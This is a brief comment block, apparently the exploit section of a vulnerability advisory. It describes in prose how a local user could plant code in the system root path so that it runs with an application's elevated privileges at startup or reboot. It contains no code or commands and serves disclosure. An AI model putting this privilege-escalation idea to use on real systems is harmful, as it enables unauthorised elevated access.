  # Exploit:
  # A successful attempt would require the local user to be able to insert their code in the system root path 
  # undetected by the OS or other security applications where it could potentially be executed during 
  # application startup or reboot. If successful, the local user's code would execute with the elevated 
  # privileges of the application.
